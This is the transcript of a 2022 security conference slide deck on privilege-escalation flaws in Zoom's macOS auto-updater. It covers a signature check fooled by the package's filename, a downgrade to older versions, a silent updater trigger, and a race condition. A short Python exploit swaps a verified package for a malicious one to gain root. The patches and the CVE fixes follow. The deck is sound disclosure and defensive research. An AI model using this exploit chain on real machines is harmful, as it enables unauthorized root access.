Upgrade to Pro — share decks privately, control downloads, hide ads and more …

You're M̶u̶t̶e̶d̶ Rooted

You're M̶u̶t̶e̶d̶ Rooted

With a recent market cap of over $100 billion and the genericization of its name, the popularity of Zoom is undeniable. But what about its security? This imperative question is often quite personal, as who amongst us isn't jumping on weekly (daily?) Zoom calls?

In this talk, we’ll explore Zoom’s macOS application to uncover several critical security flaws. Flaws, that provided a local unprivileged attacker a direct and reliable path to root.

The first flaw, presents itself subtly in a core cryptographic validation routine, while the second is due to a nuanced trust issue between Zoom’s client and its privileged helper component.

After detailing both root cause analysis and full exploitation of these flaws, we’ll end the talk by showing how such issues could be avoided …both by Zoom, but also in other macOS applications.

Patrick Wardle

August 12, 2022
Tweet

More Decks by Patrick Wardle

Other Decks in Technology

Transcript

  1. You're Muted Rooted
    Exploiting Zoom on macOS

    View full-size slide

  2. WHOAMI
    Patrick Wardle
    Objective-See Foundation, 501(c)(3)
    macOS security Tools
    "The Art of Mac Malware" books
    "Objective by the Sea" conference

    View full-size slide

  3. Crypto Bug
    OUTLINE
    Downgrade Attack
    Via multiple flaws in Zoom's "auto update" feature on macOS, a

    local attacker/malware could trivially escalate privileges to root.
    Fix(es)
    Background

    View full-size slide

  4. Background
    previous research + a new feature

    View full-size slide

  5. PREVIOUS RESEARCH (@DEF CON, 2017)
    on exploiting installers in general
    DefCon 25

    "Death By 1000 Installers"
    non-priv'd / writable location
    runs as root
    local (non-priv'd)
    attacker

    View full-size slide

  6. PREVIOUS RESEARCH (2020)
    root, via Zoom's installer
    # ./ProcessMonitor

    {


    "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",


    "process" : {


    "uid" : 0,


    "arguments" : [


    "/bin/sh",


    "./runwithroot",


    ...


    ],


    }

    }


    % ls -lart com.apple.install.v43Mcm4r


    ...

    -rwxr-xr-x 1 user staff runwithroot
    running as root
    executing script
    owned by user !
    setuid (root) shell
    whoami: root
    "The 'S' in Zoom, Stands for Security"

    https://objective-see.org/blog/blog_0x56.html

    View full-size slide

  7. A RECENT OBSERVATION
    password needed for install/uninstall
    Password required !


    ( or Touch ID )
    Installation
    Uninstallation
    password (required)

    View full-size slide

  8. A RECENT OBSERVATION
    but no password required for (auto)updates!?
    "Auto update"

    (enabled by default)
    Update alert
    } on an update:


    no password needed!?

    View full-size slide

  9. AN (AUTO)UPDATE
    Zoom's updater application: ZoomAutoUpdater.app
    # ./ProcessMonitor

    {


    "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",

    "process" : {


    "uid" : 501,


    "arguments" : [


    "~/Library/Application Support/zoom.us/AutoUpdater/UpdaterApp/

    ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater",


    "1",


    "~/Library/Application Support/zoom.us/AutoUpdater",


    "~/Library/Application Support/zoom.us/AutoUpdater/Zoom.pkg",


    ...


    ]


    "path" : "~/Library/Application Support/zoom.us/AutoUpdater/UpdaterApp/

    ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater",


    "name" : "ZoomAutoUpdater",


    "pid" : 57957


    }

    }


    ZoomAutoUpdater.app


    (invoked with the update package)
    the update .pkg
    Updater app
    the updater app

    View full-size slide

  10. XPC connection to an updater daemon
    AN (AUTO)UPDATE
    /* @class ZMAutoUpdaterDaemonXPCServerMgr */

    -(void *)connectToHelperTool {


    if([self daemonHelperConnection] == 0x0) {


    //make connection

    // Mach/XPC service name: "us.zoom.ZoomDaemon"

    [self setDaemonHelperConnection: [[NSXPCConnection alloc]

    initWithMachServiceName:@"us.zoom.ZoomDaemon" options:0x1000]];


    //protocol (implemented in remote service)

    [[self daemonHelperConnection] setRemoteObjectInterface:

    [NSXPCInterface interfaceWithProtocol:@protocol(ZMDaemonXPCProtocol)]];


    [[self daemonHelperConnection] resume];

    }


    return [self daemonHelperConnection];

    }
    01


    02


    03


    04


    05


    06


    07


    08

    09


    10


    11


    12


    13


    14


    15


    16


    17


    18


    19


    Zoom's updater app Zoom's updater daemon
    (XPC) connection to "us.zoom.ZoomDaemon"
    connect via XPC to: us.zoom.ZoomDaemon

    View full-size slide

  11. Zoom's updater daemon: us.zoom.ZoomDaemon


    ...



    Label

    us.zoom.ZoomDaemon

    MachServices



    us.zoom.ZoomDaemon





    Program

    /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon

    ProgramArguments



    /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon






    01


    02


    03


    04


    05


    06


    07


    08

    09


    10


    11


    12


    13


    14


    15


    16


    17


    18


    Mach (XPC) service:

    "us.zoom.ZoomDaemon"
    path to binary
    % ls -lart /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon

    -r-xr--r-- 1 root wheel /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon


    % ps aux

    ...

    root 14941 ... /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon
    AN (AUTO)UPDATE
    us.zoom.ZoomDaemon: owned & runs as root
    /Library/LaunchDaemons/us.zoom.ZoomDaemon.plist

    View full-size slide

  12. Zoom's updater daemon protocol: ZMDaemonXPCProtocol
    AN (AUTO)UPDATE
    % class-dump /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon


    @interface ZMDaemonHelperXPCMgr : NSObject


    ...


    @property(retain) NSXPCListener *listener; // @synthesize listener=_listener;


    - (void)checkIfZoomQuit:(long long)arg1;


    - (void)launchApp:(id)arg1 arguments:(id)arg2;


    - (id)getSafeInstallPath;


    - (void)uninstallDaemonHelperWithReply:(CDUnknownBlockType)arg1;


    - (void)getInstallNewPackageStatusWithReply:(CDUnknownBlockType)arg1;


    - (void)installNewPackage:(id)arg1 reply:(CDUnknownBlockType)arg2;


    - (void)exitDaemonHelperWithReply:(CDUnknownBlockType)arg1;


    - (void)runDaemonHelperWithReply:(CDUnknownBlockType)arg1;


    - (BOOL)listener:(id)arg1 shouldAcceptNewConnection:(id)arg2;


    ...
    ZMDaemonXPCProtocol methods


    (us.zoom.ZoomDaemon)
    install update?
    (privileged) methods invocable by clients


    (e.g. Zoom's updater application)
    validate clients

    View full-size slide

  13. updater app → daemon "installNewPackage:"
    AN (AUTO)UPDATE
    /* @class ZMAutoUpdaterInstaller */

    -(void)installPackage:(void *)arg2 isInstallForAllUsers:(char)arg3 result:(void *)arg4 {

    ...

    [[ZMAutoUpdaterDaemonHelper sharedInstance] installPackage:pkg result:result];
    01


    02


    03


    04


    /* @class ZMAutoUpdaterDaemonHelper */

    -(void)installPackage:(void *)arg2 result:(void *)arg3 {

    rax = [self xpcMgr];

    [rax installNewZoomPackage:arg2 result:rcx];
    01


    02


    03


    04


    /* @class ZMAutoUpdaterDaemonXPCServerMgr */

    -(void)installNewZoomPackage:(void *)arg2 result:(void *)arg3 {

    rax = [self connectToHelperTool];

    rax = [rax remoteObjectProxyWithErrorHandler:rdx];

    ...

    [rax installNewPackage:arg2 reply:rcx];
    01


    02


    03


    04


    05


    06


    us.zoom.Zoom

    (priv'd helper)
    installNewPackage:(id)arg1

    reply:(CDUnknownBlockType)arg2;


    } connect to daemon
    invoke method
    ZoomAutoUpdater.app

    View full-size slide

  14. AN (AUTO)UPDATE
    update completed by macOS's installer
    # ./ProcessMonitor

    {


    "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",

    "process" : {


    "name" : "installer",


    "path" : "/usr/sbin/installer",


    "uid" : 0,


    "arguments" : [


    "installer",


    "-verboseR",


    "-pkg",


    "/Library/Application Support/zoom.us/zoomTmp.pkg",


    "-target",


    "/" ]

    ...


    }


    Update .pkg installed via macOS's installer
    macOS installer

    (spawned by daemon, hence uid: 0)
    Updater app
    Updater daemon
    (macOS's) installer
    the update .pkg

    View full-size slide

  15. SECURE?
    ...at first glance, appears so
    Updater

    daemon
    Only Zoom clients can connect

    to the privileged updater daemon
    Update packages must be signed by Zoom
    blocked!
    Signed .pkg Unsigned .pkg

    View full-size slide

  16. SECURE?
    only Zoom client(s) can connect to updater daemon
    /* @class ZMCodeSignHelper */

    +(char)isValidConnection:(void *)arg2 {

    ...

    return ([ZMCodeSignHelper isValidConnection:r15 bundleID:@"us.zoom.xos"] ||

    [ZMCodeSignHelper isValidConnection:rax bundleID:@"us.zoom.ZoomAutoUpdater"])

    }
    01


    02


    03


    04


    05


    06


    /* @class ZMCodeSignHelper */

    +(char)isValidConnection:(void *)arg2 bundleID:(void *)arg3 {


    //get client's code signing information (via kSecGuestAttributeAudit)


    //init "requirement" string

    r13 = [NSString stringWithFormat:@"identifier \"%@\" and %@ and %@", r15,

    @"anchor apple generic and certificate leaf[subject.OU] = BJ4HAAB9B3

    and certificate leaf[subject.CN] = \"Developer ID Application:

    Zoom Video Communications, Inc. (BJ4HAAB9B3)\"", @"info [CFBundleVersion] >= \"5.8.6\""];


    SecRequirementCreateWithStringAndErrors(r13, 0x0, &var_68, &var_58);


    //validate (client) against "requirement"

    r15 = SecCodeCheckValidity(rdi, 0x0, 0x0) == 0x0 ? 0x1 : 0x0;

    return = r15 & 0xff;
    01


    02


    03


    04


    05


    06


    07


    08

    09


    10


    11


    12


    13


    14


    15

    16


    requirement:

    "recent version of Zoom"
    us.zoom.ZoomDaemon
    "isValidConnection:" logic

    View full-size slide

  17. SECURE?
    update packages must be signed by Zoom
    /* @class ZMCodeSignHelper */

    +(char)checkPkgAuthority:(void *)pkg {


    signatureOK = NO;


    //init task

    rax = [[NSTask alloc] init];

    [rax setLaunchPath:@"/usr/sbin/pkgutil"];


    //set args: "--check-signature", path to pkg, etc.


    //launch task / wait

    [rax launch];

    [rax waitUntilExit];


    //check signer(s)

    // rbx = (std)output from pkgutil

    if([rax terminationStatus] == 0x0) {

    if([ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Zoom Video Communications, Inc."]) {

    if([ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Developer ID Certification Authority"]) {

    signatureOK = [ZMCodeSignHelper isString1ContainsString2:rbx string2:@"Apple Root CA"]

    } } }


    return signatureOK;

    }
    01


    02


    03


    04


    05


    06


    07


    08

    09


    10


    11


    12


    13


    14


    15

    16

    17

    18

    19

    20


    21

    22

    23

    24


    25


    exec macOS's pkgutil

    with --check-signature <.pkg>
    signed validly, by: Zoom's developer ID
    "checkPkgAuthority:" logic

    View full-size slide

  18. A Cryptographic Flaw
    insecure package signature validation

    View full-size slide

  19. PACKAGE VALIDATION
    via macOS's pkgutil tool
    % pkgutil --check-signature ZoomUpdate.pkg


    Package "ZoomUpdate.pkg":


    Status: signed by a developer certificate


    issued by Apple for distribution

    Notarization: trusted by the Apple notary service



    Certificate Chain:


    1. Developer ID Installer:

    Zoom Video Communications, Inc. (BJ4HAAB9B3)

    2. Developer ID Certification Authority



    3. Apple Root CA
    macOS's pkgutil
    pkgutil: "query & manipulate

    Mac OS X Installer packages and receipts"
    Signature status
    Certificate chain
    pkgutil provides


    a package's:

    View full-size slide

  20. SECURE?
    an attempt to ensure packages are signed by Zoom
    /* @class ZMCodeSignHelper */

    +(BOOL)checkPkgAuthority:(void *)arg2 {


    //init/task:

    // pkgutil --check-signature


    //set stdout to pipe

    pipe = [NSPipe pipe];

    [task setStandardOutput:pipe];


    //launch task


    //read all stdout

    handle = [pipe fileHandleForReading];

    data = [handle readDataToEndOfFile];

    output = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];


    //check signer(s)

    if([task terminationStatus] == 0x0) {

    if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Zoom Video Communications, Inc."]) {

    if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Developer ID Certification Authority"]) {

    signatureOK = [ZMCodeSignHelper isString1ContainsString2:output string2:@"Apple Root CA"]

    } } }
    01


    02


    03


    04


    05


    06


    07


    08

    09


    10


    11


    12


    13


    14


    15

    16

    17

    18

    19

    20


    21

    22

    23


    % pkgutil --check-signature ZoomUpdate.pkg


    Package "ZoomUpdate.pkg":


    Status: signed by a developer certificate


    issued by Apple for distribution


    Certificate Chain:


    1. Developer ID Installer:

    Zoom Video Communications, Inc. (BJ4HAAB9B3)

    ...
    "checkPkgAuthority:" method

    (verification via pkgutil & string comparison)
    look for strings
    exec/output from pkgutil

    View full-size slide

  21. STRING CMPS ON *ALL* OUTPUT FROM PKGUTIL
    ...this output includes the package's name 🤦
    //read *all* data from stdout

    handle = [pipe fileHandleForReading];

    data = [handle readDataToEndOfFile];

    output = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];


    //check signer(s)

    if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Zoom Video Communications, Inc."]) {

    if([ZMCodeSignHelper isString1ContainsString2:output string2:@"Developer ID Certification Authority"]) {

    signatureOK = [ZMCodeSignHelper isString1ContainsString2:output string2:@"Apple Root CA"]

    } } }
    01


    02


    03


    04


    05


    06


    07


    08

    09


    10


    % pkgutil --check-signature

    "Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg"



    Package "Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg":

    Status: signed by a developer certificate


    issued by Apple for distribution
    package name, is included in stdout!
    "signature ok"

    View full-size slide

  22. (lldb) process attach --name us.zoom.ZoomDaemon --waitfor


    Process 949 stopped


    -> 0x10b182814 <+0>: pushq %rbp



    (lldb) po $rdi

    ZMCodeSignHelper



    (lldb) x/s $rsi

    0x10b185450: "checkPkgAuthority:"


    (lldb) po $rdx

    /private/tmp/Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg


    Process 949 stopped

    -> 0x10b182b1c <+776>: retq



    Target 0: (us.zoom.ZoomDaemon) stopped.


    (lldb) reg read $rax


    rax = 0x0000000000000001
    PACKAGE SIGNATURE BYPASS
    ...by package name!
    +[ZMCodeSignHelper checkPkgAuthority:]
    at end of verification method, retq,

    method will now return 0x1 (TRUE) !!
    (malicious) .pkg to verify
    Bypassing package verification


    ("Zoom Video Communications, Inc. Developer ID Certification Authority Apple Root CA.pkg")
    us.zoom.ZoomDaemon

    View full-size slide

  23. A Downgrade Attack
    back to (more) buggy versions

    View full-size slide

  24. ZOOM V5.9.0
    released with "security enhancements"
    # ./FileMonitor

    "event": "ES_EVENT_TYPE_NOTIFY_CREATE"


    "file":

    "destination": "/Library/Application Support/zoom.us/zoomTmp.pkg"

    "process":

    "name": "us.zoom.ZoomDaemon"

    "path": "/Library/PrivilegedHelperTools/us.zoom.ZoomDaemon"
    # ./ProcessMonitor


    "event" : "ES_EVENT_TYPE_NOTIFY_EXEC"

    "process" :

    "name" : "pkgutil"

    "path" : "/usr/sbin/pkgutil"

    "arguments" : [

    "/usr/sbin/pkgutil"

    "--check-signature"

    "/Library/Application Support/zoom.us/zoomTmp.pkg"

    ]
    the update .pkg

    is first renamed (copied) as "zoomTmp.pkg"
    the copy, is verified
    (still) validated by pkgutil
    /Library/Application
    Support/zoom.us
    zoomTmp.pkg
    directory, owned by root

    View full-size slide

  25. zoomTmp.pkg
    As the package (.pkg) is now renamed *and then* its

    signature is verified, our package will no longer validate.
    //validation failed

    else {


    ...

    [rax setErrorCode:0x2717];

    }
    01


    02


    03


    04


    05


    06


    thwarts name-based .pkg attack
    ZOOM V5.9.0
    renamed
    though insecure package validation (via pkgutil) still present

    View full-size slide

  26. BUT, CAN WE DOWNGRADE ZOOM!?
    ...by (re)installing an older (buggy) version?
    no version checks?

    ...any Zoom .pkg installable !!
    us.zoom.Zoom
    Zoom < 5.9

    (buggy, but signed)
    verify
    (signature)
    install
    }
    installer logic

    (us.zoom.Zoom)
    now, exploit

    View full-size slide

  27. Exploitation
    Zoom → root

    View full-size slide

  28. HOW TO TRIGGER AN UPDATE
    ...don't want to wait for Zoom!
    Recall, only Zoom clients can

    connect (to trigger an upgrade request)
    /* @class ZMDaemonHelperXPCMgr */

    -(BOOL)listener:(void *)arg2 shouldAcceptNewConnection:(void *)conn {

    ...

    if ([ZMCodeSignHelper isValidConnection:rax] != 0x0) {

    //allow

    }
    01


    02


    03


    04


    05

    06


    +(BOOL)isValidConnection:(void *)conn {


    //invoke +ZMCodeSignHelper isValidConnection twice

    // with "us.zoom.ZoomAutoUpdater" & then "us.zoom.xos"


    01


    02


    03


    04


    Client validation logic

    (in updater daemon)
    Updater

    daemon

    View full-size slide

  29. HOW TO TRIGGER AN UPDATE
    ...use Zoom's auto updater app!
    +(BOOL)isValidConnection:(void *)conn {


    //invoke +ZMCodeSignHelper isValidConnection twice

    // with "us.zoom.ZoomAutoUpdater" & then "us.zoom.xos"


    01


    02


    03


    04


    Updater app
    Updater
    daemon
    int EntryPoint() {

    ...

    rax = [NSProcessInfo processInfo];

    rax = [rax arguments];

    if ([rax count] >= 0x9) {


    //go go go

    }
    01


    02


    03


    04


    05


    06


    07


    08


    void sub_10000859c(int arg0) {

    r14 = [*(arg0 + 0x20) pkgInstaller];

    r15 = [*(arg0 + 0x20) packagePath];

    rax = [*(arg0 + 0x20) isInstallForAllUsers];

    ...

    [r14 installPackage:r15

    isInstallForAllUsers:rax result:r8];

    return;

    }
    01


    02


    03


    04


    05


    06


    07


    08


    09


    path!
    % ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater 1 2 ~/Downloads/Zoom_v5_8_6.pkg 4 5 6 7 8
    -(void *)init {

    ...

    rax = [rbx objectAtIndexedSubscript:0x3];

    rsi = @selector(setPackagePath:);

    objc_msgSend_1000100d0(rdi, rsi, rax);
    01


    02


    03


    04


    05


    argv[3] = pkg path

    View full-size slide

  30. DEMO
    ...upgrading Zoom, "on command"

    View full-size slide

  31. EXPLOIT CHAIN
    ...root, in two simple steps
    Zoom < 5.9
    Updater app
    "Zoom...Apple Root CA.pkg"
    install old version
    Updater app
    install malicious .pkg # whoami


    root

    View full-size slide

  32. SILENTLY?
    ...yes, via other arguments!
    /* @class ZMAutoUpdaterMgr */

    -(void *)init {

    ...


    rdx = sign_extend_64([[rbx objectAtIndexedSubscript:0x5] boolValue]);

    rdi = r14;

    rsi = @selector(setIsNeedRelauch:);

    objc_msgSend_1000100d0(rdi, rsi, rdx);


    ...


    rdx = sign_extend_64([[rbx objectAtIndexedSubscript:0x6] boolValue]);

    rdi = r14;

    rsi = @selector(setIsShowUI:);

    objc_msgSend_1000100d0(rdi, rsi, rdx);
    01


    02


    03


    04


    05


    06


    07


    08


    09


    10


    11


    12


    13


    14


    15


    More arg parsing

    (Zoom Updater App)
    Should relaunch?
    Should show UI?
    By setting argv[5] & argv[6] to 0 (false),
    the upgrade (or exploit) will be invisible!
    ZoomAutoUpdater.app

    View full-size slide

  33. Fixes
    how Zoom (eventually) patched these flaws

    View full-size slide

  34. CVE-2022-22781: DOWNGRADE ATTACK
    Zoom v5.9.6, released April 2022
    CVE-2022-22781

    (patch time: 4+ months)
    "[Zoom] failed to properly check the package version during the
    update process. This could lead to a malicious actor updating an
    unsuspecting user's currently installed version to a less secure
    version" -Zoom Security Bulletin
    $5,000

    bug bounty

    View full-size slide

  35. CVE-2022-22781: PATCH DETAILS
    is app version in upgrade pkg >= installed version?
    /* @class ZMDaemonHelperXPCMgr */

    -(BOOL)isZoomPkgVersionAllowed:(void *)arg2 {


    //unzip .pkg

    [[self unzipZoomPkg:rdx unzipDestFolder:rcx] retain];


    //get version of "zoom.us.app" in unzipped .pkg

    version = [self getPayloadDataWith:r12 unzipDestFolder:rax];


    //check current version with app version

    return [self checkPkgZoomVersionAllowed:rbx];
    01


    02


    03


    04


    05


    06


    07


    08

    09


    10


    11


    Unzip
    Extract
    version #
    Compare
    /* @class ZMDaemonHelperXPCMgr */

    -(BOOL)checkPkgZoomVersionAllowed:(void *)arg2 {


    rax = [NSBundle bundleWithPath:arg2];

    r14 = [rax objectForInfoDictionaryKey:@"CFBundleVersion"];


    rax = [NSBundle mainBundle];

    r12 = [rax objectForInfoDictionaryKey:@"CFBundleVersion"];


    if ([r14 length] != 0x0 && [r12 length] != 0x0) {

    rax = [r14 compare:r12 options:0x40] !=

    0xffffffffffffffff ? 0x1 : 0x0;


    }

    ...
    01


    02


    03


    04


    05


    06


    07


    08

    09


    10


    11


    12


    13

    14


    Downgrades

    now blocked
    "upgrade" < current version?

    View full-size slide

  36. CVE-2022-28751: PACKAGE VALIDATION
    Zoom v5.11.3, released July 2022
    CVE-2022-28751

    (patch time: 7+ months)
    $5,000

    bug bounty
    "[Zoom] contain[ed] a vulnerability in the package signature
    validation during the update process. A local low-privileged user
    could exploit this vulnerability to escalate their privileges to
    root" -Zoom Security Bulletin

    View full-size slide

  37. CVE-2022-28751: PATCH DETAILS
    .pkg signature now validated via CMS/XAR apis
    % otool -L /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon

    ...

    /usr/lib/libxar.1.dylib

    /System/Library/Frameworks/Security.framework/Versions/A/Security
    % nm /Library/PrivilegedHelperTools/us.zoom.ZoomDaemon

    U _CMSDecoderGetNumSigners

    U _CMSDecoderCopySignerCert


    ...


    U _xar_open


    U _xar_signature_copy_signed_data
    /* @class ZMCheckPkgSignatureHelper */

    +(BOOL)checkPkgAuthorityByCMS:(void *)pkg {


    return [[self class] validateInstallerPackage:pkg teamID:@"BJ4HAAB9B3"

    installerAuthority:@"Developer ID Installer: Zoom Video Communications, Inc. (BJ4HAAB9B3)"];


    }
    01


    02


    03


    04


    05


    06


    07


    }new dependencies

    ...& their imports
    validation now done (correctly) via APIs
    Non-Zoom

    .pkgs blocked

    View full-size slide

  38. PACKAGE VALIDATION
    ...better option: (private) PackageKit.framework
    WhatsYourSign (Package.h/.m)

    github.com/objective-see/WhatsYourSign/


    "Reversing 'pkgutil' to Verify PKGs"

    jamf.com/blog/reversing-pkgutil-to-verify-pkgs/
    % otool -L /usr/sbin/pkgutil

    /System/Library/PrivateFrameworks/Bom.framework/Versions/A/Bom

    /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/PackageKit
    }
    .pkg

    validation
    how pkgutil

    validates packages

    View full-size slide

  39. Still All Broken
    ...you're (still) muted rooted

    View full-size slide

  40. RECALL
    upgrade .pkg moved/renamed, then validated
    # ./FileMonitor

    "event": "ES_EVENT_TYPE_NOTIFY_CREATE"

    "file":

    "destination": "/Library/Application Support/zoom.us/zoomTmp.pkg"

    "process":

    "name": "us.zoom.ZoomDaemon"
    copy of (update) .pkg
    (lldb) process attach --name us.zoom.ZoomDaemon --waitfor


    * thread #3, breakpoint 1.1

    -> 0x100ebf866 <+558>: callq *%r9



    (lldb) po $rdi




    (lldb) x/s $rsi

    0x7fff71b6054a: "copyItemAtPath:toPath:error:"


    (lldb) po $rdx

    /Users/user/Downloads/zoomusInstallerFull.pkg


    (lldb) po $rcx

    /Library/Application Support/zoom.us/zoomTmp.pkg
    /Library/Application
    Support/zoom.us
    zoomTmp.pkg file copy API
    source
    dest.
    directory, owned by root

    View full-size slide

  41. THE DESTINATION DIRECTORY IS OWNED BY ROOT
    ...but, the package is (still) world-writable! 🤦
    % ls -la "/Library/Application Support/zoom.us"

    drwxr-xr-x root admin .


    % touch "/Library/Application Support/zoom.us/foo"

    touch: /Library/Application Support/zoom.us/foo: Permission denied
    % ls -la "/Library/Application Support/zoom.us"

    -rw-r--r--@ user staff zoomTmp.pkg

    % whoami

    user

    % md5 "/Library/Application Support/zoom.us/zoomTmp.pkg"

    MD5 (zoomTmp.pkg) = d8e2b6cdb16aed29a7f51e780543a08b


    % echo foo >> "/Library/Application Support/zoom.us/zoomTmp.pkg"


    % md5 zoomTmp.pkg

    MD5 (zoomTmp.pkg) = 24807d29234cda2b010ce9ac28c4071b
    upgrade .pkg: owned by: user !?
    As the permissions of the package are not updated, an
    unprivileged local attacker can surreptitiously modify it!
    ..."editable!?" by anybody?
    directory owned by: root

    View full-size slide

  42. A CLASSIC "TOCTTOU" BUG
    a race condition between .pkg verification & install
    zoomTmp.pkg
    Copy (+rename)

    to /Library/Application Support/zoom.us/
    Verify
    (signature)
    Unzip

    (+check version)
    Install update

    (recall, as root)
    Subvert .pkg
    After verification

    Before installation
    the race window

    ...can we reliably win !?
    Upgrade:

    View full-size slide

  43. THE RACE WINDOW
    ...easily winnable, due to "large" window
    Verify
    (signature)
    Unzip

    (+check version)
    Install update

    (recall, as root)
    Unzip:

    % /usr/bin/xar
    Version check:

    % /bin/cat

    % /usr/bin/cpio
    Install:

    % /usr/bin/sudo

    % /usr/sbin/installer
    to win
    }
    start

    View full-size slide

  44. FULL EXPLOIT
    root ...in 10 lines of code
    #imports ...


    PAYLOAD = 'get.root.pkg'

    PKG_DEST = '/Library/Application Support/zoom.us/zoomTmp.pkg'


    subprocess.Popen(['ZoomAutoUpdater.app/Contents/MacOS/ZoomAutoUpdater','2','3',

    '/tmp/Zoom.pkg','5','6','7','8','9'])


    while not os.path.exists(PKG_DEST):

    time.sleep(0.1)


    time.sleep(0.2)

    shutil.copyfile(PAYLOAD, PKG_DEST)
    01


    02


    03


    04


    05


    06


    07


    08

    09


    10


    11


    12

    13


    trigger an update


    (with valid Zoom pkg)
    wait for copy of update .pkg to show up
    replace (verified) package with malicious .pkg
    zoomTmp.pkg
    # whoami


    root

    View full-size slide

  45. A PROPOSED FIX
    ...via a single API call?
    [NSFileManager.defaultManager setAttributes:

    @{NSFileGroupOwnerAccountID:@0, NSFileOwnerAccountID:@0};

    ofItemAtPath:@"/Library/Application Support/zoom.us/zoomTmp.pkg" error:NULL];
    01


    02


    03


    NSFileOwnerAccountID: 0


    NSFileGroupOwnerAccountID: 0
    % ls -la "/Library/Application Support/zoom.us"

    -rw-r--r--@ root wheel zoomTmp.pkg



    % echo foo >> "/Library/Application Support/zoom.us/zoomTmp.pkg"

    zsh: permission denied: /Library/Application Support/zoom.us/zoomTmp.pkg
    permission (would then be) denied !
    Set permissions

    (owner: root, group: wheel)

    View full-size slide

  46. Conclusions
    +takeaways

    View full-size slide

  47. TAKEAWAYS
    Be careful choosing

    usability over security!
    Watch DefCon talks!
    password (required)
    Installer app + .pkg

    ...avoids most installer issues!
    Where's there are bugs

    ...will likely be (many!) more
    }

    View full-size slide

  48. MORE ON MACOS SECURITY
    ...topics of reversing, debugging, & malware
    Free: taomm.org

    For sale: amazon, etc...

    View full-size slide

  49. MAHALO!
    "Friends of Objective-See"
    Guardian Mobile Firewall
    SmugMug iVerify Halo Privacy

    View full-size slide

  50. RESOURCES:
    You're Muted Rooted
    "Death By 1000 Installers"

    speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken


    "The 'S' in Zoom, Stands for Security"

    objective-see.org/blog/blog_0x56.html


    "Zoom Zero Day: 4+ Million Webcams & maybe an RCE?"

    infosecwriteups.com/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5

    View full-size slide